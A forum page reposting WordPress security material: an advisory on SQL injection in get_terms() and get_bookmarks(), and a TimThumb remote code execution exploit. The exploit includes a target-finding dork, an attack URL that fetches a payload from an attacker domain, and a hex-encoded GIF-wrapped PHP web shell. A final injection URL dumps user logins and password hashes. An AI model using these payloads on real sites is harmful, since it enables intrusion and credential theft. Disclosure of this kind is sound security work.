ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
SEC Consult Vulnerability Lab Security Advisory 
=======================================================================
              title: Multiple SQL Injection Vulnerabilities
            product: WordPress
 vulnerable version: 3.1.3/3.2-RC1 and probably earlier versions
      fixed version: 3.1.4/3.2-RC3
             impact: Medium
           homepage: http://wordpress.org/
              found: 2011-06-21
                 by: K. Gudinavicius                            
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
=======================================================================
 
Vendor description:
-------------------
"WordPress was born out of a desire for an elegant, well-architectured
personal publishing system built on PHP and MySQL and licensed under
the GPLv2 (or later). It is the official successor of b2/cafelog.
WordPress is fresh software, but its roots and development go back to
2001."
 
Source: http://wordpress.org/about/
 
 
 
Vulnerability overview/description:
-----------------------------------
Due to insufficient input validation in certain functions of WordPress
it is possible for a user with the "Editor" role to inject arbitrary
SQL commands. By exploiting this vulnerability, an attacker gains
access to all records stored in the database with the privileges of the
WordPress database user.
 
 
 
Proof of concept:
-----------------
1) The get_terms() filter declared in the wp-includes/taxonomy.php file
does not properly validate user input,  allowing an attacker with
"Editor" privileges to inject arbitrary SQL commands in the "orderby"
and "order" parameters passed as array members to the vulnerable filter
when sorting for example link categories.
 
The following URLs could be used to perform blind SQL injection
attacks:
 
http://localhost/wp-admin/edit-tags.php?taxonomy=link_category&orderby=[SQL
injection]&order=[SQL injection]
http://localhost/wp-admin/edit-tags.php?taxonomy=post_tag&orderby=[SQL
injection]&order=[SQL injection]
http://localhost/wp-admin/edit-tags.php?taxonomy=category&orderby=[SQL
injection]&order=[SQL injection]
 
 
2) The get_bookmarks() function declared in the
wp-includes/bookmark.php file does not properly validate user input,
allowing an attacker with "Editor" privileges to inject arbitrary SQL
commands in the "orderby" and "order" parameters passed as array
members to the vulnerable function when sorting links.
 
The following URL could be used to perform blind SQL injection attacks:
 
http://localhost/wp-admin/link-manager.php?orderby=[SQL
injection]&order=[SQL injection]
 
 
Vulnerable / tested versions:
-----------------------------
The vulnerability has been verified to exist in version 3.1.3 of
WordPress, which is the most recent version at the time of discovery.
 
 
Vendor contact timeline:
------------------------
2011-06-22: Contacting vendor through security () wordpress org
2011-06-22: Vendor reply, sending advisory draft
2011-06-23: Vendor confirms security issue
2011-06-30: Vendor releases patched version
2011-07-01: SEC Consult publishes advisory
 
 
 
Solution:
---------
Upgrade to version 3.1.4 or 3.2-RC3
 
 
Workaround:
-----------
A more restrictive role, e.g. "Author", could be applied to the user.
 
 
 
Advisory URL:
-------------
https://www.sec-consult.com/en/advisories.html
 
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH
 
Office Vienna
Mooslackengasse 17
A-1190 Vienna
Austria
 
Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
https://www.sec-consult.com
 
EOF K. Gudinavicius / @2011

Code:
# Exploit Title: WordPress TimThumb Plugin - Remote Code Execution
# Google Dork: inurl:timthumb ext:php -site:googlecode.com -site:google.com
# Date: 3rd August 2011
# Author: MaXe
# Software Link: http://timthumb.googlecode.com/svn-history/r141/trunk/timthumb.php
# Version: 1.32
# Screenshot: See attachment
# Tested on: Windows XP + Apache + PHP (XAMPP)
  
  
WordPress TimThumb (Theme) Plugin - Remote Code Execution
  
  
Versions Affected:
1.* - 1.32 (Only version 1.19 and 1.32 were tested.)
(Version 1.33 did not save the cache file as .php)
 
  
Info: (See references for original advisory)
TimThumb is an image resizing utility, widely used in many WordPress themes.
 
  
External Links:
http://www.binarymoon.co.uk/projects/timthumb/
http://code.google.com/p/timthumb/
  
Credits:
- Mark Maunder (Original Researcher)
- MaXe (Indepedendent Proof of Concept Writer)
  
  
-:: The Advisory ::-
TimThumb is prone to a Remote Code Execution vulnerability, due to the
script does not check remotely cached files properly. By crafting a
special image file with a valid MIME-type, and appending a PHP file at
the end of this, it is possible to fool TimThumb into believing that it
is a legitimate image, thus caching it locally in the cache directory.
 
 
Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)
http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php
 
Stored file on the Target: (This can change from host to host.)
1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);
md5($src); means the input value of the 'src' GET-request - Hashed in MD5 format.
 
 
Proof of Concept File:
\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00
\xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00
\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02
\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65
\x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D
\x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00
 
(Transparent GIF + 
 
  
  
-:: Solution ::-
Update to the latest version 1.34 or delete the timthumb file.
 
NOTE: This file is often renamed and you should therefore issue
a command like this in a terminal: (Thanks to rAWjAW for this info.)
find . | grep php | xargs grep -s timthumb
  
  
Disclosure Information:
- Vulnerability Disclosed (Mark Maunder): 1st August 2011
- Vulnerability Researched (MaXe): 2nd August 2011
- Disclosed at The Exploit Database: 3rd August 2011
 
  
  
References:
http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
http://markmaunder.com/2011/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/
http://code.google.com/p/timthumb/issues/detail?id=212
http://programming.arantius.com/the+smallest+possible+gif

Code:
http://wp/?alixcan_live_feed=news&id=1+UNION+SELECT+group_concat(user_login,0x3a,user_pass+SEPARATOR+0x3c62723e),2,3,4+FROM+wp_users--